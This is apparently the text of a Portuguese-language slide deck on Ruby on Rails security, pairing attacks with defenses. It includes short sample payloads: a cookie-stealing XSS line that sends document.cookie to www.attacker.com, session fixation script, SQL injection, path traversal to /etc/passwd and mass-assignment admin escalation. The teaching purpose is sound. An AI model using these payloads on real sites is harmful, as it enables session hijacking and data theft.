Segurança &
Ruby on Rails

 http://julio.monteiro.eti.br
whoami
Joinville, SC
CCT, UDESC
Sessões
Sessões

• HTTP é um protocolo stateless
• Sessão é identificada por um cookie
  (contendo uma identificação e um hash)
• Enviado do servidor para o cliente, e do
  cliente para o servidor
Roubo de Sessão
Roubo de Sessão


• Roubo de um arquivo de cookie por um
  “atacante”
• Permite que o atacante aja em nome da vítima
Como uma sessão pode ser
         roubada?
       Roubo            Como combater?

Sniffers em uma rede       SSL (https)


Utilizar computadores    Botão “logout”,
       “públicos”        expirar sessão

  Session Fixation       (mais adiante)

        XSS              (mais adiante)
Dica:


Nunca armazene objetos
grandes em uma sessão.
Dica:

    Nunca armazene
informações críticas
    em uma sessão.
Como uma sessão é
  armazenada?
Como uma sessão é
   armazenada?

• ActiveRecordStore: armazena no
  banco de dados (tabela “sessions”)
• CookieStore: armazena em um cookie
  do usuário
Replay Attack no
 CookieStore
Replay Attack no
          CookieStore
1. Usuário ativa um cupom de presente na sua loja
   online, ficando com R$50 de crédito (armazenado
   na sessão)
2. Usuário compra algo custando R$40
3. Sessão agora armazena que usuário tem R$10
4. Usuário sobreescreve a sessão atual pela sessão
   inicial, ficando com R$50 novamente
Session Fixation
Session Fixation

                <script>
document.cookie="_session_id=16d5b78abb
       28e3d6206b60f22a03c8d9";
               </script>
Session Fixation
Como combater
 Session Fixation?

Utilize reset_session ao realizar login e/ou
 armazenar algo do usuário (como IP ou
                navegador).
Expirando sessões
Expirando sessões


• Expire-as de tempo em tempo (com base
  no updated_at e no created_at)
• Um simples rake no crontab já resolve
CSRF
CSRF

• Cross-Site Request Forgery
• Trata-se de aproveitar da sessão de um
  usuário, forçando-o (muitas vezes sem
  saber) a realizar determinada ação
CSRF
Como combater CSRF?


 Utilize os métodos HTTP da maneira correta
   (GET e POST, obrigatoriamente; e PUT e
             DELETE se possível)
Como combater CSRF?

• Utilize os métodos HTTP da maneira
  correta (GET e POST, obrigatoriamente; e
  PUT e DELETE se possível)
• Utilize um token
Como combater CSRF?

• Utilize os métodos HTTP da maneira
  correta (GET e POST, obrigatoriamente; e
  PUT e DELETE se possível)
• Utilize um token
Injeção em
Redirecionamentos
Injeção em
Redirecionamentos

http://www.example.com/site/legacy?
      param1=xy&param2=23&
    host=www.attacker.com
Como combater injeções
em Redirecionamentos?


    Não aceite URLs (ou partes dela)
           como parâmetro.
Uploads de arquivos
Uploads de arquivos
•   Algumas (várias?) aplicações aceitam
    uploads, recebendo um arquivo e um nome
    de arquivo.
•    Se você armazena os arquivos em /var/
    www/uploads, imagine se alguém fizer
    upload de um arquivo chamado
    ../../../etc/passwd ?
Como combater uploads
     maliciosos?


  Evite receber o nome do arquivo, ou crie um
          filtro com expressão regular.
DoS por uploads
DoS por uploads

•    Se seu site processa arquivos (como
    imagens, gerando miniaturas), nunca faça-o
    sincronamente.
•    Imagine alguém enviando milhares de
    arquivos ao mesmo tempo?
Como combater DoS
   por uploads?

Processe arquivos assincronamente (em um
daemon ou em um cron); se possível, até em
         uma máquina separada.
Upload de executáveis
Upload de executáveis

• Você terá problemas se armazenar seus
  arquivos em algum local "autorizado" a
  executar executáveis (como .CGI no
  Apache Document Directory do seu Virtual
  Host)
Como combater DoS
   por uploads?

Simplesmente tenha certeza que seu servidor
 web não está executando arquivos naquele
                 diretório.
Downloads não
 autorizados
Downloads não
       autorizados

• Evite que os usuários "escolham" o que
  querem baixar, como em:
Downloads não
       autorizados

• Evite que os usuários "escolham" o que
  querem baixar, como em:
Como combater downloads
   não autorizados?
Como combater downloads
   não autorizados?




    Opcionalmente, armazene o nome do
  arquivo no banco de dados, identificando-
     o para o usuário através de um id.
Mass Assignment
Mass Assignment


• Você sabia que o "script/generate scaffold"
  não gera o código mais completo e seguro
  do mundo? :)
Mass Assignment
Mass Assignment




 http://www.example.com/user/signup?
user[user]=ow3ned&user[admin]=1
Como combater aproveitamentos
    do mass assignment?
Como combater aproveitamentos
    do mass assignment?




       Modo paranóico:
Força bruta no
login do usuário
Como combater ataque
   de força bruta?

  CAPTCH depois de determinadas tentativas
             falhas de login.
 Utilize uma mensagem de erro genérica, como
 “usuário OU senha inválido, tente novamente”.
Hijacks diversos
Hijacks diversos

• Senhas: requira que o usuário digite a antiga
  senha para conseguir mudar.
Hijacks diversos

• Senhas: requira que o usuário digite a antiga
  senha para conseguir mudar.
• Email: requira que o usuário digite a antiga
  senha para conseguir mudar
Hijacks diversos

• Senhas: requira que o usuário digite a antiga
  senha para conseguir mudar.
• Email: requira que o usuário digite a antiga
  senha para conseguir mudar
• Outros: lembra do “problema” do GMail?
CAPTCHA
CAPTCHA negativo
Informações sensíveis
       no Log
Como combater
informações sensíveis no log?
Expressões regulares
Expressões regulares
Expressões regulares
Como combater aproveitamento
   de expressões regulares?



         Use A ao invés de ^
         Use Z ao invés de $
Escalação de privilégios
Escalação de privilégios


   http://www.example.com/projects/1
Escalação de privilégios
Como combater aproveitamento
   de expressões regulares?
Whitelist > Blacklist
Whitelist rula!
• before_filter :only => [...] ao invés de
  before_filter :except => [...]
• attr_accessible ao invés de attr_protected
• Permita somente <strong> ao invés de
  remover <script>
Injeção SQL
Injeção SQL



                   ' OR 1 --

SELECT * FROM projects WHERE name = '' OR 1 --'
Como combater
 injeções SQL?
XSS
XSS
• Cross Site Scripting
• Atualmente é o tipo de ataque mais comum,
  segundo a Symantec Global Internet Security
  Threat Report.
• Mais de 510.000 sites tiveram este tipo de
  ataque só em abril de 2008.
• Diversas ferramentas para auxiliar estes
  ataques, como o MPack.
XSS: Injeção JavaScript
XSS: Injeção JavaScript

       <script>alert('Hello');</script>


<table background="javascript:alert('Hello')">
XSS: Roubo de Cookie
XSS: Roubo de Cookie

 <script>document.write(document.cookie);</script>


     <script>document.write('<img src="http://
www.attacker.com/' + document.cookie + '">');</script>
XSS: Defacement
XSS: Defacement


<iframe name=”StatPage” src="http://58.xx.xxx.xxx"
 width=5 height=5 style=”display:none”></iframe>
Como combater estes
   ataques XSS?
Limpe a “entrada” do usuário com o método
                sanatize.


     Limpe a “saída” (impressão) com
 escapeHTML(), também chamado de h().
         <%=h @user.name %>
XSS: Injeção CSS
XSS: Injeção CSS


background:url('javascript:alert(1)')
Como combater estes
ataque XSS de injeção CSS?


       Evite CSS personalizado.
Dicas sobre a interface
    administrativa
Dicas sobre a interface
    administrativa
• Coloque-a em um subdomínio distinto,
  como admin.campusparty.com.br. Isso evita
  truques com Cookies.
• Se possível, limite o acesso administrativo a
  um número restritos de IP (ou a uma faixa).
• Que tal uma senha especial para ações
  importantes, como deletar usuários?
http://www.pragprog.com
http://www.rorsecurity.info
http://guias.rubyonrails.pro.br/
Segurança &
Ruby on Rails

 http://julio.monteiro.eti.br

Segurança & Ruby on Rails